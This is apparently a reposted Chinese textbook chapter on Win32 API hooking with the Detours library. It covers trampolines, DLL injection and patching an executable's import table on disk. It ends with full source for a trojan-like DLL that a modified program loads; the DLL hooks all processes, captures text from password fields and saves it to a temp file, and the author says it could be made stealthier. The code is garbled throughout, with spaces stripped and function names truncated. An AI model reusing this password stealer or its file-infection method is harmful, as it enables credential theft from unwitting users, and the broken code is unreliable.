用Detours实现APIHOOK Detours是一个软件开发库,它用于实现拦截Win32二进制代码中的API函数。 它使用一个Jmp指令替换了目标函数的前面几个字节,使得控制直接调用实现的 Detours函数。并通过一个trampoline函数保留了原来函数的功能调用。 我们知道,实现APIHOOK主要有两个重要环节,一是如何把代码注入到目标地 址空间,二是如何让自己的代码被调用。 为了让自己的代码注入到应用程序的目标地址空间,首先需要把代码封装到一个 动态链接库中,然后执行下面的步骤之一: (1)把应用程序和动态链接库连接起来,这需要用户具有程序的目标文件(.obj)。 (2)从磁盘文件上修改应用程序的导入表,使得应用程序启动时强制加载其从来 不会使用的动态链接库。这种方法对于用户自己编码来说,可能是非常困难的一件事 情,好在Detours提供了一组函数,能够达到这个目的,能够强制一个可执行文件强 制加载一个动态链接库,而且一旦完成修改,以后再也不需要引导程序。 (3)调用OpenProcess、VirtualAllocEx、WriteProcessMemory和CreateRemoteThread。 (4)使用Detours拦截CreateProcess()函数,使用CREATE_SUSPENDED标志调用 原trampoline函数,在进程创建时实现DLL到目标进程的注入。 目标二进制文件经过Detours拦截,进程或者进程模块在内存中的映像将发生变 化。如图6-2所示。 Detours使用了一个跳转到Detours函数的跳转指令替换了目标的函数入口指令, 并在实现的Trampoline函数中插入了被替换的指令,Trampolines函数既可以动态分配 和初始化,也可以静态方式实现。实现和调用前后的比较如图6-3、图6-4所示。 例6-3Detours函数的例子。 #include<windows.h> #include<detours.h> LONGslept=0; _declspec(dllexport)DETOUR_TRAMPOLINE(VOIDWINAPIUntimedSleep (DWORD),Sleep); _declspec(dllexport)VOIDWINAPITimedSleep(DWORDdwMilliseconds) { DWORDbegin=GetTickCount(); UntimedSleep(dwMilliseconds); InterlockedExchangeAdd(&slept,GetTickCount()–begin); } _declspec(dllexport)DWORDWINAPIGetSleptTicks { returnslept; } BOOLWINAPIDllMain(HINSTANCEhinst,DWORDreason,LPVOIDreserved) { if(reason==DLL_PROCESS_ATTACH) DetourFunctionWithTrampo if(reason==DLL_PROCESS_DETACH) DetourRemoveTrampoline(UntimedSleep); } 注意: 在下面的场合不能使用Detours: ●不知道目标代码入口地址。 ●目标代码少于5个字节,即小于一个Jmp调转指令的字长。 ●目标代码的前几个字节包含了分支指令的目标。 Target: ;;;code JNETarget+2 ●不使用x86处理器(不支持alpha处理器和ia64)。 ●对于.NETCLR(MSIL)代码也不支持。 另外Detours还支持对成员函数的拦截,比如对GDI+函数的拦截。GDI+是采用 面向对象基于C++平台开发的一个动态链接库。Detours在其提供的PowerPoint幻灯 片文档中提供了拦截类成员函数的代码框架。如图6-5所示。 Detours对COM接口方法的拦截类似于类成员函数。下面是其文档给出的实现代 码,不过这个代码是针对C实现的。 HRESULTSTDCALL(*pfSeekTrampoline)( IStream*This, LARGE_INTEGERdlibMove, DWORDdwOrigin, ULARGE_INTEGER*plibNewPos); HRESULTSTDCALLSeekDetour IStream*This, LARGE_INTEGERdlibMove, DWORDdwOrigin, ULARGE_INTEGER*plibNewPos) { returnpfSeekTrampoline(This,dlibMove,dwOrgin,plibNewPos); } voiddetour_member_function(IStream*pi) { (*(PBYTE*)pfSeekTrampoline)=DetourFunction( (PBYTE)pi->lpVtbl->Seek, (PBYTE)SeekDetour); }; 用户编译这些例子的时候,可能会遇到问题,主要表现在类型指针转换上。为了 实现转换,用户可以使用嵌入汇编语言,实现强制类型转换。 下面给出Detours提供的函数列表: ●静态Trampolines实现 DETOUR_TRAMPOLINE创建一个已知trampoline目标。 DETOUR_TRAMPOLINE_EMPTY创建一个空的trampoline目标。 ●Detour函数 DetourFunction分配一个trampoline,实现Detour函数挂接。 DetourFunctionWithTrampo DetourFunctionWithEmptyT DetourRemove去除detour。 ●Code函数 DetourFindFunction在输出或者符号表中查找函数。 DetourGetFinalCode忽略间接跳转语句。 DetourCopyInstruction(Ex)反汇编指令。 ●PE映像或者模块枚举函数 DetourEnumerateModules查找加载到进程中的所有PE映像。 DetourGetEntryPoint查找一个映像的入口地址。 DetourEnumerateExportsFo ●Payload函数(payload是Detours在拦截模块中添加的一个节) DetourFindPayload查找一个指定的payload。 DetourGetSizeOfPayloads得到映像中所有payloads的字节大小。 ●DLLInjectionFunctions DetourCreateProcessWithD DetourContinueProcessWit ●异常处理函数 DetourFirstChanceExcepti ●永久二进制操纵函数 DetourBinaryOpen打开一个PE二进制文件。 DetourBinaryEnumeratePay DetourBinaryFindPayload查找指定的payload。 DetourBinarySetPayload设置或者替换一个指定的payload。 DetourBinaryDeletePayloa DetourBinaryPurgePayload DetourBinaryEditImportsM DetourBinaryResetImports DetourBinaryWrite把PE映像写入到一个文件中。 DetourBinaryClose关闭PE二进制映像。 DetourBinaryBind使用BindImage绑定二进制映像。 通过上面的函数列表,我们足以了解这个开发包强大的功能,因为很多功能在前 面的章节中都是通过大量代码才能实现的,而这里只需要调用一个函数就可以了。 注意: (1)所有的Detours函数都可以运行在基于x86平台、WindowsNT内核操作系统 上,包括最新的Windows2003以及未来的Longhorn。Windows9x内核的系统不支持 使用DetourFunction系列函数。除非这个程序是在一个调试器下运行的,即(采用 DEBUG_PROCESS标志调用CreateProcess*函数)。这是因为基于WindowsNT内核的 系统都总是把DLL采用copy-on-write方式把动态链接库映射到目标进程中。而 Windows9x只有在采用DEBUG_PROCESS标志调用CreateProcess*函数的情况下采用 这种方式。 (2)DLL注入的方法不能在Windows9x下使用,因为这里是使用CreateRemoteThread 实现的,Windows9x不支持这个函数调用。 (3)用于添加payloads和修改导入地址表的二进制复写函数,可以运行在所有平 台上,包括Windows95。 (4)在实现一个Detours函数时,必须保证它和目标替换函数在调用规范上完全一致。 (5)当把一个动态链接库使用DetoursDLL导入API函数,把它和一个二进制文 件绑定时,动态链接库必须输出一个函数,其输出序号为1。输出的过程并不被应用 程序调用而只是用作导入目标。 下面给出一个使用Detours的例子,这是在开发防火墙软件中使用的一段代码。 我们知道,开发的应用软件最好能够同时支持两种分辨率,比如800×600和 1024×768,因为这是用户最常用的两种屏幕分辨率。然而编码中会发现在VisualC++ 中同时兼顾两种分辨率时,如果通过响应WM_RESIZE非常麻烦。由于应用程序大 部分的界面都是基于对话框实现的,特别是那些嵌入窗体的对话框,实现代码定位, 实在繁琐得要命。于是在程序中设计了两种对话框,分别对应两种分辨率,在程序 启动时动态检测屏幕分辨率,通过拦截DialogBoxParam函数动态替换对话框资源来 实现。 例6-4Detours应用举例。 #include<detours.h> #pragmacomment(lib,"detours.lib") BOOLg_bAbsolution800x600=TRUE; typedefstructtagDLG{ intnDlgIDSmall; intnDlgIDBig; }DLG,*PDLG; DLGg_dlg[]={ {IDD_MONITORPACKETDLG,IDD_MONITORPACKETDLG_BIG}, {IDD_NETSTATDLG,IDD_NETSTATDLG_BIG}, {IDD_DEFAULT_PORT_RULE,IDD_DEFAULT_PORT_RULE_BIG}, … {IDD_OTHER,IDD_OTHER_BIG} }; DETOUR_TRAMPOLINE(HWNDWINAPI Real_CreateDialogParamA(HINSTANCEhInstance, LPSTRlpTemplateName, HWNDhWndParent, DLGPROClpDialogFunc, LPARAMdwInitParam), CreateDialogParamA); DETOUR_TRAMPOLINE(HWNDWINAPI Real_CreateDialogParamW(HINSTANCEhInstance, LPWSTRlpTemplateName, HWNDhWndParent, DLGPROClpDialogFunc, LPARAMdwInitParam), CreateDialogParamW); HWNDWINAPIDetour_CreateDialogParamW(HINSTANCEhInstance, LPWSTRlpTemplateName, HWNDhWndParent, DLGPROClpDialogFunc, LPARAMdwInitParam) { try{ if(!g_bAbsolution800x600){ for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){ if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){ returnReal_CreateDialogParamW(hInstance, MAKEINTRESOURCEW(g_dlg[i].nDlgIDBig), hWndParent,lpDialogFunc,dwInitParam); } } } returnReal_CreateDialogParamW(hInstance, lpTemplateName,hWndParent,lpDialogFunc,dwInitParam); } catch(...){ returnReal_CreateDialogParamW(hInstance, lpTemplateName,hWndParent,lpDialogFunc,dwInitParam); } } HWNDWINAPIDetour_CreateDialogParamA(HINSTANCEhInstance, LPSTRlpTemplateName,HWNDhWndParent,DLGPROClpDialogFunc,LPARAM dwInitParam) { try{ if(!g_bAbsolution800x600){ for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){ if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){ returnReal_CreateDialogParamA(hInstance, MAKEINTRESOURCE(g_dlg[i].nDlgIDBig),hWndParent, lpDialogFunc,dwInitParam); } } } returnReal_CreateDialogParamA(hInstance, lpTemplateName,hWndParent,lpDialogFunc,dwInitParam); } catch(...){ return Real_CreateDialogParamA(hInstance,lpTemplateName,hWndParent, lpDialogFunc,dwInitParam); } } 在程序入口: intnWidth=GetSystemMetrics(SM_CXSCREEN); if(nWidth==1024){ g_bAbsolution800x600=FALSE; } DetourFunctionWithTrampo (PBYTE)Detour_CreateDialogParamA); DetourFunctionWithTrampo (PBYTE)Detour_CreateDialogParamW); 程序结束前: DetourRemove((PBYTE)Real_CreateDialogParamW, (PBYTE)Detour_CreateDialogParamW); DetourRemove((PBYTE)Real_CreateDialogParamA, (PBYTE)Detour_CreateDialogParamA); 从上面的程序可以看出,Trampolines函数既可以静态创建也可以动态创建。使用 静态的Trampolines函数拦截Target函数时,应用程序需要使用DETOUR- _TRAMPOLINE宏创建Trampolines函数。DETOUR_TRAMPOLINE宏带有两个参数, 静态的Trampolines函数原型和Target函数名。 值得注意的是:Target函数拦截时,Target、Trampoline、Detour函数必须遵循完 全一致的参数约定,即出口和入口参数在个数和对应类型上要求完全匹配。Detour函 数可以根据需要把它的入口参数传递到Trampoline函数,以此调用Target函数。遵循 相同的调用约定,可以保证有关的寄存器能够被正确保存,Detour和Target函数的堆 栈能够保持平衡。 Target函数的拦截可以通过DetourFunctionWithTrampo 两个参数,Trampoline和一个指向Detour函数的指针。目标函数Target之所以没有作 为一个参数,是因为它已经编码到Trampoline函数之中。 动态的Trampoline可以通过调用DetourFunction函数实现。这个函数有两个参数, 分别是两个指向Target和Detour函数的指针,DetourFunction可以分配一个新的 Trampoline函数指针变量,然后在Target函数中插入适当的拦截代码。 当Target函数可以作为一个连接符号时,静态Trampoline函数使用非常容易。然 而当Target函数不能作为一个连接符号时,用户可以使用一个动态的Trampoline函数。 通常情况下,可以通过另外的辅助函数获得指向Target函数的指针。当指向Target函数 的指针不易得到时,用户可以使用DetourFindFunction获得该指针。无论这些函数来 自一个已知的dll库,或者是Target函数二进制代码的调试符号。DetourFindFunction函 数接收两个参数,二进制win32文件名和函数名。如果函数执行后找到了Target的符 号,它就会返回一个有效的函数指针,否则返回NULL。DetourFindFunction首先尝 试利用LoadLibrary和GetProcAddressWin32函数定位函数,如果在DLL的函数输出 表中找不到Target,DetourFindFunction就会使用ImageHlp库查找可用的调试符号信 息。返回的函数指针可以作为一个参数传递到DetourFunction函数,用以创建一个动 态的Trampoline函数。 拦截的Target函数可以通过调用DetourRemoveTrampoline函数恢复到拦截前的状态。 值得注意的是,由于Detours库函数修改代码是在进程地址空间进行的,程序员 必须在Detour插入和移去时没有别的线程在运行。显然保证单线程运行最简单的办法 是在DLL的DllMain例程中调用Detours库函数。 动态链接库注入到一个存在进程可以通过下列代码实现。 HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,nProcessId); //nProcessId运行进程的进程标识 if(hProcess==NULL){ printf("OpenProcess(%d)failed:%d\n",nProcessId,GetLastError()); return2; }//下面的szDllPath为指定的dll文件路径. if(!DetourContinueProcessWit printf("DetourContinueProcessWit GetLastError()); return3; } 动态链接库注入到一个新进程可以通过下列代码实现。 STARTUPINFOsi; PROCESS_INFORMATIONpi; CHARszCommand[2048]; PCHARpszDLlPath=NULL; CHARszExe[1024]; Strcpy(szExe,”…..”);//可执行文件名 Strcpy(szCommand,”…..”);//命令行 Strcpy(pszDllPath,”…”);//动态连接库文件名字 ZeroMemory(&si,sizeof(si)); ZeroMemory(&pi,sizeof(pi)); si.cb=sizeof(si); DWORDdwCreationFlags=(CREATE_DEFAULT_ERROR_MODE); if(!DetourCreateProcessWithD dwCreationFlags,NULL,NULL, & si,&pi,pszDllPath,NULL)){ printf("DetourCreateProcessWithD ExitProcess(2); } 有关Detours修改二进制映像的例子,用户可以参考开发包提供的例子程序setdll。 下面给出这个文件的关键函数,这个函数实现了DLL文件的磁盘注入。 BOOLSetFile(PCHARpszPath) { BOOLbGood=TRUE; HANDLEhOld=INVALID_HANDLE_VALUE; HANDLEhNew=INVALID_HANDLE_VALUE; PDETOUR_BINARYpBinary=NULL; CHARszOrg[MAX_PATH]; CHARszNew[MAX_PATH]; CHARszOld[MAX_PATH]; szOld[0]='\0'; szNew[0]='\0'; strcpy(szOrg,pszPath); strcpy(szNew,szOrg); strcat(szNew,"#"); strcpy(szOld,szOrg); strcat(szOld,"~"); printf("%s:\n",pszPath); hOld=CreateFile(szOrg,GENERIC_READ,FILE_SHARE_READ,NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hOld==INVALID_HANDLE_VALUE){ printf("Couldn'topeninputfile:%s,error:%d\n",szOrg, GetLastError()); bGood=FALSE; gotoend; } hNew=CreateFile(szNew,GENERIC_WRITE|GENERIC_READ,0,NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL|FILE_FLAG_SEQUENTIAL_SCAN, NULL); if(hNew==INVALID_HANDLE_VALUE){ printf("Couldn'topenoutputfile:%s,error:%d\n",szNew, GetLastError()); bGood=FALSE; gotoend; } if((pBinary=DetourBinaryOpen(hOld))==NULL){ printf("DetourBinaryOpenfailed:%d\n",GetLastError()); gotoend; } if(hOld!=INVALID_HANDLE_VALUE){ CloseHandle(hOld); hOld=INVALID_HANDLE_VALUE; } { BOOLbAddedDll=FALSE; DetourBinaryResetImports if(!s_fRemove){ if(!DetourBinaryEditImports(pBinary,&bAddedDll,AddBywayCallback, NULL,NULL,NULL)){ printf("DetourBinaryEditImportsf } } if(!DetourBinaryEditImports(pBinary,NULL,ListBywayCallback, ListFileCallback, NULL,NULL)){ printf("DetourBinaryEditImportsf } if(!DetourBinaryWrite(pBinary,hNew)){ printf("DetourBinaryWritefailed:%d\n",GetLastError()); bGood=FALSE; } DetourBinaryClose(pBinary); pBinary=NULL; if(hNew!=INVALID_HANDLE_VALUE){ CloseHandle(hNew); hNew=INVALID_HANDLE_VALUE; } if(bGood){ if(!DetourBinaryBind(szNew,".",".")){ printf("Warning:Couldn'tbindtotracedll:%d\n",GetLastError()); } if(!DeleteFile(szOld)){ DWORDdwError=GetLastError(); if(dwError!=ERROR_FILE_NOT_FOUND){ printf("Warning:Couldn'tdelete%s:%d\n",szOld,dwError); bGood=FALSE; } } if(!MoveFile(szOrg,szOld)){ printf("Error:Couldn'tbackup%sto%s:%d\n",szOrg,szOld, GetLastError()); bGood=FALSE; } if(!MoveFile(szNew,szOrg)){ printf("Error:Couldn'tinstall%sas%s:%d\n",szNew,szOrg, GetLastError()); bGood=FALSE; } } DeleteFile(szNew); } end: if(pBinary){ DetourBinaryClose(pBinary); pBinary=NULL; } if(hNew!=INVALID_HANDLE_VALUE){ CloseHandle(hNew); hNew=INVALID_HANDLE_VALUE; } if(hOld!=INVALID_HANDLE_VALUE){ CloseHandle(hOld); hOld=INVALID_HANDLE_VALUE; } returnbGood; } 面的这个例子就是基于上面的代码实现的。例子中PasswordDemo.exe是一个普 通的Windows应用程序,它需要验证用户输入的密码。iNetPub类似于一个木马程序, 这个程序是一个动态链接库,这个程序实现了一个消息钩子,在动态链接库初始化的 时候,自己安装了钩子函数。很明显像PasswordDemo.exe这样的Windows应用程序 是从来不会主动调用这个动态链接库的,因为它们之间不存在任何血缘关系。尽管我 们可以采用多种进程间代码注入的办法,但是这种办法都需要一个进程,那么像 RunDll32文件加载一样,用户很容易从开机自启动应用程序列表中把它们摘除,这样 我们精心炮制的木马程序,可能就会像僵尸一样永远不能超生。 我们需要做的工作是能够像病毒一样修改可执行文件,让可执行文件自己加载提 供的动态链接库。这里对可执行文件和动态链接库没有任何要求。动态链接库如果输 出钩子函数,其钩子过程必须以输出函数方式输出。自动加载必须在动态链接库初始 化过程中完成。 PasswordDemo.exe程序的运行界面是这样的,如图6-6所示。 这个程序依赖的动态链接库如图6-7所示,由于这个程序和inetpub没有任何关系, 所以它的运行不需要inetpub.Dll文件。 下面我们运行修改程序(程序运行界面如图6-8所示)对passworddemo文件进行修 改。当我们单击“启动”按钮时,passworddemo.exe所在的目录会自动生成一个 passworddemo.exe文件的备份PasswordDemo.exe~。passworddemo.exe文件是修改过的 文件,它的文件修改日期和大小将发生变化。这时它的运行将依赖位于Windows系统 目录的inetpub.dll文件。即Passworddemo.exe文件运行前会自动加载inetpub.dll文件, 这个文件一旦加载就会自动安装一个全局钩子,对系统中的所有进程进行监视,把用 户输入的所有密码文本保存到Windows目录下的一个文件中。 此时这个程序的运行将离不开inetpub.Dll文件。如图6-9所示。 这个程序还有许多地方可以进行完善,但是已经有了一点木马特征,而且它还可 以做得更隐蔽一些。很明显实现自动化修改可执行文件,也并不困难。 例6-5Dll磁盘文件附加实现。 #include"stdafx.h" #include<afxdllx.h> #ifdef_DEBUG #definenewDEBUG_NEW #undefTHIS_FILE staticcharTHIS_FILE[]=__FILE__; #endif #include"INetPub.h" #pragmadata_seg(".sdata") HHOOKhHookMsg=0; HHOOKhHookProc=0; HINSTANCEhinst=0; HWNDhHandleWnd=0; intnumbers=0; intSpyArrayNums=0; intrandv=0; CHook*phook=0; CDWordArraySpyWndList[20]; #pragmadata_seg() staticAFX_EXTENSION_MODULEINetPubDLL={NULL,NULL}; extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc nCode,WPARAMwParam,LPARAMlParam); extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc nCode,WPARAMwParam,LPARAMlParam); BOOLWINAPIHookProc(HWNDhwnd,UINTuiMessage,WPARAMwParam,LPARAM lParam); extern"C"intAPIENTRY DllMain(HINSTANCEhInstance,DWORDdwReason,LPVOIDlpReserved) { //RemovethisifyouuselpRese UNREFERENCED_PARAMETER(lpReserved); if(dwReason==DLL_PROCESS_ATTACH) { TRACE0("INetPub.DLLInitializing!\n"); //ExtensionDLLone-timeinitialization if(!AfxInitExtensionModule(INetPubDLL,hInstance))return0; numbers++; if(numbers==1&&phook==0) { hinst=hInstance; randv=GetTickCount()/5000; phook=newCHook; phook->HookInstaller(); } newCDynLinkLibrary(INetPubDLL); } elseif(dwReason==DLL_PROCESS_DETACH) { TRACE0("INetPub.DLLTerminating!\n"); numbers--; if(numbers==0&&phook) { phook->HookUninstaller(); deletephook; phook=0; } AfxTermExtensionModule(INetPubDLL); } return1;//ok } CHook::CHook() { } CHook::~CHook() { HookUninstaller(); } BOOLCHook::HookInstaller() { if((hHookMsg=SetWindowsHookEx(WH_GETMESSAGE, CallMsgProc,hinst,0))!=NULL && (hHookProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinst,0)) !=NULL)returntrue; returnfalse; } BOOLCHook::HookUninstaller() { BOOLbUninstall; if(hHookMsg) { bUninstall=UnhookWindowsHookEx(hHookMsg); if(bUninstall) { hHookMsg=NULL; bUninstall=UnhookWindowsHookEx(hHookProc); if(bUninstall) { hHandleWnd=NULL; hHookProc=NULL; } } } returnbUninstall; } voidCHook::SetHandleWindow(HWNDhWnd) { hHandleWnd=hWnd; } extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc nCode,WPARAMwParam,LPARAMlParam) { PMSGpMsg=(MSG*)lParam; if(nCode>=0&&pMsg&&pMsg->hwnd) { HookProc(pMsg->hwnd,pMsg->message,pMsg->wParam,pMsg->lParam); } returnCallNextHookEx(hHookMsg,nCode,wParam,lParam); } extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc nCode,WPARAMwParam,LPARAMlParam) { PCWPSTRUCTpCwps; pCwps=(PCWPSTRUCT)lParam; if(nCode>=0&&pCwps&&pCwps->hwnd) { HookProc(pCwps->hwnd,pCwps->message,pCwps->wParam, pCwps->lParam); } returnCallNextHookEx(hHookProc,nCode,wParam,lParam); } intWINAPIInSpyList(HWNDhwnd) { if(SpyArrayNums) { for(inti=0;i<SpyArrayNums;i++) { SpyWndList[i]; if(intwndnum=SpyWndList[i].GetSize()) { for(intj=0;j<wndnum;j++) if(SpyWndList[i].GetAt(j)==(DWORD)hwnd)returni; } } } return-1; } voidWINAPIAddToSpyList(HWNDhWnd) { HWNDhParent; CWordArrayaarray; if(hParent=GetParent(hWnd)) { if(InSpyList(hParent)!=-1)return; SpyWndList[SpyArrayNums].Add((DWORD)hParent); } HWNDsib=::GetWindow(hWnd,GW_HWNDFIRST); charlpClassName[255]; CStringstrWndClass; ::GetClassName(sib,lpClassName,255); strWndClass=lpClassName; //IsthisanEditcontrol if(0==strWndClass.CompareNoCase("EDIT")) SpyWndList[SpyArrayNums].Add((DWORD)sib); while((sib=::GetWindow(sib,GW_HWNDNEXT))!=NULL) { ::GetClassName(sib,lpClassName,255); strWndClass=lpClassName; //IsthisanEditcontrol if(strWndClass.Find("Edit")!=-1||strWndClass.Find("Text")!=-1) SpyWndList[SpyArrayNums].Add((DWORD)sib); } //SpyWndList[SpyArrayNums]; SpyArrayNums++; if(SpyArrayNums==21)SpyArrayNums=20; } voidWINAPIRemoveFromList { if(index>=SpyArrayNums)return; SpyWndList[index].RemoveAll(); for(inti=0;i<SpyArrayNums-index-1;i++) { SpyWndList[index+i].Copy(SpyWndList[index+i+1]); SpyWndList[index+i+1].RemoveAll(); } SpyArrayNums--; } BOOLWINAPIHookProc(HWNDhwnd,UINTmessage,WPARAMwParam,LPARAM lParam) { charszCaption[100]="\0"; charszTitle[100]="\0"; charclassname[255]; intindexx; CStringSaveInfo; if(message&&IsWindow(hwnd)) { GetClassName(hwnd,classname,255); LONGstyle=GetWindowLong(hwnd,GWL_STYLE); CStringstrClass; switch(message){ caseWM_SETFOCUS: strClass=classname; if(!strClass.CompareNoCase("EDIT")) { if((style&ES_PASSWORD)&&(InSpyList(hwnd)==-1))AddToSpyList(hwnd); } break; caseWM_DESTROY: if((indexx=InSpyList(hwnd))!=-1) { inti=indexx; for(intj=0;j<SpyWndList[i].GetSize();j++) { HWNDspywin; spywin=(HWND)SpyWndList[i].GetAt(j); LONGlStyle=::GetWindowLong(spywin,GWL_STYLE); if(IsWindow(spywin)&&j==0) { charszText[255]="\0"; ::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText); CStringtemp=szText; SaveInfo=SaveInfo+"(window)"+temp+"\t"; else if(lStyle&ES_PASSWORD) { charszText[255]="\0"; //intl=::GetWindowText(hwnd,szText,sizeof(szText)); ::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText); CStringtemp=szText; SaveInfo=SaveInfo+"(password)"+temp+"\t"; if(temp.GetLength()==0)returntrue; } else { charszText[255]="\0"; ::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText); CStringtemp=szText; SaveInfo=SaveInfo+"(edit)"+temp+"\t"; } } RemoveFromList(indexx); time_tnow; time(&now); structtm*tmnow; tmnow=localtime(&now); char*timenow=asctime(tmnow); CStringtemp; temp=timenow; intstrlen=temp.GetLength(); temp=temp.Left(strlen-1); SaveInfo=temp+":"+SaveInfo+"\r\n"; charptemppath[255]; GetTempPath(255,ptemppath); CStringstrFileName; strFileName.Format("%s",ptemppath); CStringstrName; strName.Format("~mps%d.tmp",randv); strFileName=strFileName+strName; CStringszTemp; szTemp.Format("用户的密码已被木马程序保存到一个名叫%s的文件里 ",strFileName); MessageBox(NULL,szTemp,"请注意静态密码并不安全,请您及时更换密 码!",MB_OK+MB_ICONWARNING); WritePrivateProfileStrin "Kernel32.ini"); CFilef(LPCTSTR(strFileName),CFile::modeCreate|CFile::modeWrite |CFile::modeNoTruncate); f.Seek(0,CFile::end); intinfolen=SaveInfo.GetLength(); f.Write((LPCTSTR)SaveInfo,infolen); f.Close(); } break; default: //sprintf(szCaption,"oh,Themousex:%d y:%d",pMsg->pt.x,pMsg->pt.y); break; } if(IsWindow(hHandleWnd)) { if(strlen(szCaption)>=1) SendMessage(hHandleWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption); } } returntrue; } 有关APIHOOK实现的方法还有很多,比如采用的某些开发包是源代码共享的, 有些则是收费的。比较好的解决方案还有http://www.网站IvoIvanov 提供的APIhookingrevealed一文和http://www.网站WadeBrainerd提出 的APIHijack-ALibraryforEasyDLLFuncti TextoutCallsFromNotepad。 |
|
来自: herowuking > 《Cracker》